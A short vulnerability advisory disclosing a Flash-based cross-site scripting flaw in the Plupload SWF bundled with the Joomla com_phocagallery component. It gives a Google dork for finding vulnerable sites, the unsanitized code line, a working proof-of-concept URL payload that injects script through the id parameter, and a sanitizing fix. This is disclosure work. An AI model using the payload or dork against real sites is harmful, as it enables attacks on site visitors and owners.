# Exploit Title: Joomla com_phocagallery Plupload Flash XSS # Release Date: 13/05/2013 # Author: Rafay Baloch And Deepankar Arora # Contact: http://rafayhackingarticles.net # Vendor: phoca.cz # Versions Affected: 3.0.0 - 4.0.0 # Google Dork: inurl:com_phocagallery Description: The vulnerability with plupload with a known vulnerability, however com_phocagallery uses it, The id parameter is not sanitized. Therefore it results in a flash based xss. The vulnerable code is as follows: this.id = this.stage.loaderInfo.parameters["id"]; As you can see that there is not type of filtering being performed at the id parameter. POC: http://localhost/joomla/components/com_phocagallery/assets/plupload/plupload.flash.swf?id=0\%22))}catch(e){if(!window.x){window.x=1;alert(2)}}// Fix: Sanitize the input. this.id = (this.stage.loaderInfo.parameters["id"]).toString().replace(/[^\w]/g, ''); The above would filter out all the special characters. References: https://github.com/moxiecode/plupload/commit/2d746ee -- Warm Regards, Rafay Baloch http://rafayhackingarticles.net http://techlotips.com